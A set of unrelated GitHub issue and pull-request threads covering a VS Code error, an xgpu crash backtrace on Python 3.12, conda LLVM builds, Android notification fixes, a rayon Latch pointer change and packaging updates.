    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:2062:18489)
    at J.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at J.z (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1972)
    at J.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2188)
    at J.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:744:19871)
    at Vb.he.onMouseUp (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:744:18171)
    at S.emitMouseUp (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:95:39512)
    at D.emitMouseUp (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:681:40889)
    at g.F (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:719:14420)
    at vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:719:12058
    at HTMLDivElement.<anonymous> (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:714:30685)

This problem disappeared after I completely reinstalled vscode.
I deleted these three folders after uninstalling vscode (these three folders are not deleted on uninstallation, but they contain plugins and configuration files and such) C:\Users\*****\AppData\Local\Programs\Microsoft VS Code\ C:\Users\*****\AppData\Roaming\Code\ C:\Users\*****\.vscode
After that I deleted ~/.vscode-server/ on the remote server and then I reinstalled vscode and the plugin.
I'm currently using remote ssh with no problems, and I recall that it was probably after installing GitHub Copilot during my previous use that I started having problems. Maybe adding an option to completely remove all preferences and cache when uninstalling vscode might help solve the problem?

Sorry for the trouble, thanks for following that up. Good suggestion, will keep that in mind


docs:(cookbook showing how to create a TreeView)

@wardbell
Here is the TreeView cookbook.
I decided to add an http request as part of this. Mainly because it's the number one ask from people who have been commenting on other TreeViews I've made in the past. It also makes it easier to vary the data since it's relatively painful to hand code tree objects. I linked to the Http Dev guide for the http configurations.

Updated outdated PR to rc 1

Updated to use core-js shim

rebased latest master

Update to this too. @thelgevold could you please update the prose now that there is no directives array so the paragraph where you mention it (for the recursive thing).
I can do it, but I prefer that the original author does it :)

Thanks! @Foxandxss
I tweaked the point about the recursive template.


net: 15.4 MAC addresses are shown differently between shell "net iface" and "ieee15_4 get_ext_addr"

One of them is shown reversed comparing to another. E.g. 11:22:...:88 vs 88:...:22:11.

net iface is showing you the mac address, which is used by default to create the extended address.
But the extended address could be something else, it's possible to change it.
Extended address is taken from iface's 15.4 context, and that one has to be in little endian as 15.4 frames requires it.
Shell could show it the same way as mac, why not. I'll make sure the set ext addr assumes this same order so it will reverse it.


Global postinstall in translate_pnpm_lock

Will not do. Need to find a way to selectively run ngcc on packages.


Migrations - Add support for package imports

Issue: https://github.com/maroux/python-spanner-orm/issues/11
Helpful resources on the topic:

https://stackoverflow.com/questions/50884100/using-importlib-to-dynamically-import-modules-containing-relative-imports
https://napuzba.com/a/import-error-relative-no-parent

Correct, in order to get the scanner-cli tool to work like alembic it looks like we'd have to make it search for an env.py and program the spanner-cli tool to inject its dependencies from there.
I can create a separate issue on this if you'd like so at least it's a known issue. The good thing is we at least present one solution for packaged projects with the migration executer.

separate issue sounds good 👍


Cleanup issue in 0.6.2 In 3.12

When upgrading to xgpu-0.6.2 after a successful run there appears to be a cleanup issue. I ran many times and observed these two messages (no idea why it switched between them):
Happened once:
corrupted double-linked list
Aborted (core dumped)

Happened nearly every time, run with gdb -ex r --args python prog.py
made it to end of analysis
wrote result to disc

malloc_consolidate(): unaligned fastbin chunk detected
Fatal Python error: Aborted

Current thread 0x00007f680f87c000 (most recent call first):
  Garbage-collecting
  <no Python frame>
Aborted (core dumped)

made it to end of analysis
wrote result to disc
[Thread 0x7fff51fdf640 (LWP 302118) exited]
malloc_consolidate(): unaligned fastbin chunk detected
[Thread 0x7fff527e0640 (LWP 302117) exited]

Thread 1 "python" received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737350225920) at ./nptl/pthread_kill.c:44
44	./nptl/pthread_kill.c: No such file or directory.

I reverted to xgpu-0.5.1 and was not able to reproduce this exit issue.

Full backtrace:
made it to end of analysis
wrote result to disc
[Thread 0x7fff414de640 (LWP 305258) exited]
malloc_consolidate(): unaligned fastbin chunk detected
[Thread 0x7fff41cdf640 (LWP 305257) exited]

Thread 1 "python" received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737350225920) at ./nptl/pthread_kill.c:44
44	./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737350225920)
    at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737350225920) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737350225920, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7c88476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7c6e7f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7ccf676 in __libc_message (action=action@entry=do_abort,
    fmt=fmt@entry=0x7ffff7e21b77 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7ce6cfc in malloc_printerr (
    str=str@entry=0x7ffff7e245b8 "malloc_consolidate(): unaligned fastbin chunk detected")
    at ./malloc/malloc.c:5664
#7  0x00007ffff7ce798c in malloc_consolidate (av=av@entry=0x7ffff7e60c80 <main_arena>)
    at ./malloc/malloc.c:4750
#8  0x00007ffff7ce8ea0 in _int_free (av=0x7ffff7e60c80 <main_arena>, p=0x2ec03c0,
    have_lock=<optimized out>) at ./malloc/malloc.c:4674
#9  0x00007ffff7ceb453 in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3391
#10 0x00007fff4314b202 in ?? () from /usr/lib/x86_64-linux-gnu/dri/iris_dri.so
#11 0x00007fff4314ca24 in ?? () from /usr/lib/x86_64-linux-gnu/dri/iris_dri.so
#12 0x00007fff43091d43 in ?? () from /usr/lib/x86_64-linux-gnu/dri/iris_dri.so
#13 0x00007fff8809c890 in ?? () from /lib/x86_64-linux-gnu/libEGL_mesa.so.0
#14 0x00007fff8808ee84 in ?? () from /lib/x86_64-linux-gnu/libEGL_mesa.so.0
#15 0x00007fff9f3a204a in <wgpu_hal::gles::egl::Inner as core::ops::drop::Drop>::drop ()
   from /home/mikedh/venv/lib/python3.12/site-packages/xgpu/libwgpu_native.so
#16 0x00007fff9f243764 in core::ptr::drop_in_place<core::option::Option<wgpu_hal::gles::egl::Instance>> () from /home/mikedh/venv/lib/python3.12/site-packages/xgpu/libwgpu_native.so
#17 0x00007fff9f248e08 in alloc::sync::Arc<T,A>::drop_slow ()
   from /home/mikedh/venv/lib/python3.12/site-packages/xgpu/libwgpu_native.so
#18 0x00007fff9f24a9d4 in alloc::sync::Arc<T,A>::drop_slow ()
   from /home/mikedh/venv/lib/python3.12/site-packages/xgpu/libwgpu_native.so
#19 0x00007fff9f1de193 in wgpuBindGroupLayoutRelease ()
   from /home/mikedh/venv/lib/python3.12/site-packages/xgpu/libwgpu_native.so
#20 0x00007fffa02c4def in _cffi_f_wgpuBindGroupLayoutRelease (self=<optimized out>,
    arg0=0x7fff964ef2a0) at _wgpu_native_cffi.c:5239
#21 0x000000000057dac9 in ?? ()
#22 0x000000000057ea2d in ?? ()
#23 0x00000000006409ee in PyObject_CallFunctionObjArgs ()
#24 0x00007fffa027f67d in gcp_finalize (origobj=0x7fff964ef2a0, destructor=0x7fff964a4630)
    at src/c/_cffi_backend.c:2018
#25 cdatagcp_finalize (cd=<optimized out>) at src/c/_cffi_backend.c:2047
#26 0x00000000005692e0 in ?? ()
#27 0x0000000000674680 in ?? ()
#28 0x0000000000660bac in Py_FinalizeEx ()
#29 0x000000000066db2e in Py_RunMain ()
#30 0x000000000062aa1d in Py_BytesMain ()
#31 0x00007ffff7c6fd90 in __libc_start_call_main (main=main@entry=0x62a960, argc=argc@entry=2,
    argv=argv@entry=0x7fffffffb768) at ../sysdeps/nptl/libc_start_call_main.h:58
#32 0x00007ffff7c6fe40 in __libc_start_main_impl (main=0x62a960, argc=2, argv=0x7fffffffb768,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffb758) at ../csu/libc-start.c:392
#33 0x000000000062a895 in _start ()

After further debugging this issue only occurs on Python 3.12.

Fixed with https://github.com/PyryM/xgpu/pull/19


[CONDA] Link LLVM statically

Looking into the ci error, perhaps we can simply remove zlib as it is implied by llvmdev already

Looking into the ci error, perhaps we can simply remove zlib as it is implied by llvmdev already

@tqchen I checked the log (https://github.com/tlc-pack/tlcpack/pull/35/checks?check_run_id=1787671797), and it looks weird to me that it is examining conflict for every one of the package, just like I was experiencing locally that blocks me to install tlcpack with anaconda. Is that something normal?

@tqchen I checked the log (https://github.com/tlc-pack/tlcpack/pull/35/checks?check_run_id=1787671797), and it looks weird to me that it is examining conflict for every one of the package, just like I was experiencing locally that blocks me to install tlcpack with anaconda. Is that something normal?

I am not too sure, perhaps we can first remove zlib dep and see what happens

I am not too sure, perhaps we can first remove zlib dep and see what happens

Seems due to inavailablity of llvmdev build on this particular platform(ubuntu latest). Perhaps try llvmdev=10.0.1?

Seems due to inavailablity of llvmdev build on this particular platform(ubuntu latest). Perhaps try llvmdev=10.0.1?

It looks weird that libgcc-ng and libstdcxx-ng conflict with other packages...

It looks weird that libgcc-ng and libstdcxx-ng conflict with other packages...

Any ideas why it continues to fail...?

I can actually build in my local machine...Will try the docker container later


Notifications reliability

Ensure that a notification is always shown after a push even if sync fails
Fix  / No notification light (LED) on android >O
Notification settings screen re-organisation in separate 'advanced' pannel, use silent/noisy instead of on/noisy
Pull Request Checklist

[ ] Pull request is based on the develop branch
[ ] Pull request updates CHANGES.rst
[ ] Pull request includes screenshots or videos if containing UI changes
[ ] Pull request includes a sign off

Also we should consider creating a common parent for all Vector Preference fragments


Use pointers instead of &self in Latch::set

Latch::set can invalidate its own &self, because it releases the
owning thread to continue execution, which may then invalidate the latch
by deallocation, reuse, etc. We've known about this problem when it
comes to accessing latch fields too late, but the possibly dangling
reference was still a problem, like rust-lang/rust#55005.
The result of that was rust-lang/rust#98017, omitting the LLVM attribute
dereferenceable on references to !Freeze types -- those containing
UnsafeCell. However, miri's Stacked Borrows implementation is finer-
grained than that, only relaxing for the cell itself in the !Freeze
type. For rayon, that solves the dangling reference in atomic calls, but
remains a problem for other fields of a Latch.
This easiest fix for rayon is to use a raw pointer instead of &self.
We still end up with some temporary references for stuff like atomics,
but those should be fine with the rules above.

bors r+


Update Nodejs loadtest results

It's been awhile since we've updated the loadtest results and there have been updates to the endpoint response.

Hmmm, are things seeming slower than before in general?

I haven't noticed things being slower .. looking at the results, some queries slowed down but others have gotten faster, but these times will always fluctuate

Hmmm, are things seeming slower than before in general?

I haven't noticed things being slower .. looking at the results, some queries slowed down but others have gotten faster, but these times will always fluctuate

From my skim things are a bit slower more often than not.  Might be worth keeping an eye on...


Improve french translation

Thanks for your contribution! As soon as Travis builds successfully, I'll merge your pull-request and release an update shortly after.

You're welcome. It's not hury anyway :)


[SQL] Support Row construction with named fields

Currently Calcite's ROW() constructor only accepts values and doesn't allow names, so INSERT INTO f_row SELECT ROW('asdfasdf', 'sdfsdfsd') will fail with something like this:
Cannot assign to target field 'f_row' of type RecordType(VARCHAR f_str1, VARCHAR f_str2) from source field 'f_row' of type RecordType(VARCHAR EXPR$0, VARCHAR EXPR$1)
Imported from Jira BEAM-4515. Original Jira may contain additional context.
Reported by: kedin.

any updates here?


Support using wskprops and ow env variables

Expected Behaviour
When working with a lot of components that get deployed to the same namespace, I would expect to be able to rely on using my settings file or OW env variables. So they I don't have to deal with updating env files so that they are in sync.
Another reason is that I may deploy the same action to different namespace (e.g. my own dev namespace, dev, stage and prod). I would also like to be able to set env variables for Apache OpenWhisk only once in my bash terminal, instead of constantly changing the .env files.
Actual Behaviour
Uses .env file to choose environment to deploy to.
Reproduce Scenario (including but not limited to)
Run aio app deploy.
Steps to Reproduce
Run aio app deploy.
Platform and Version
Latest (master), on mac os.
Sample Code that illustrates the problem
N/A, it needs new code.
Logs taken while reproducing problem
N/A

If you set your global config values, you can use them in this way.
aio config set runtime.auth <auth-token>
aio config set runtime.namespace <namespace>

These values will be used anywhere that you run a command that looks for AIO_RUNTIME_AUTH and AIO_RUNTIME_NAMESPACE respectively.
If values are present in the .env they will be used, otherwise the global config values will be, similar to the way a .npmrc file works.
To see config values coming from environment variables:
aio config -e | --env

To see local config values, coming from a .aio file in the cwd
aio config -l | --local

To see global config values
aio config -g | --global

Additionally, you can run aio config --verbose which will show you all values, and where they come from.

Well, I'm not interested that much in AIO env variables here, but really using the Openwhisk ones.


Add docker build target

A container tagged with the latest git tag will be built when
running the make release target.

Coverage remained the same at 70.577% when pulling 4bd7da970cf16cfd4ab2dc7fa3feeeef419c5b71 on dockerbuild into d1c56452453b26d8526d4de805064c428072be44 on master.


add setup.py and update installation instructions. Fixes #7

The package is now installable through pip. However, a conda environment with dependencies installed (from environment.yml) is still required.
Should we consider using a requirements.txt file instead? That way, we can populate setup.py install_requires with its contents.

Looks Awesome!
It might be better to structure the README.md a bit more differently now though
Something like:
Using Pip
pip install ...

Using conda
....

No?

I believe requirements.txt is definitely a more standard way to do it.
Since its hosted on pypi now, can you add the corresponding badge from here? Hehe.

As of now, I've replaced environment.yml with requirements.txt since it's only pip installable. Also, shall we add the 'Using conda', 'Using pip' headers once its installable from both?

Yeah that makes sense

On 31-Mar-2020, at 10:43 AM, Ajay Subramanian<EMAIL_ADDRESS>wrote:
As of now, I've replaced environment.yml with requirements.txt since it's only pip installable. Also, shall we add the 'Using conda', 'Using pip' headers once its installable from both?
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub https://github.com/SforAiDl/JigglypuffRL/pull/9#issuecomment-606404089, or unsubscribe https://github.com/notifications/unsubscribe-auth/AH72FJZK662UURKFYDT7PNLRKF3WDANCNFSM4LW4NAJA.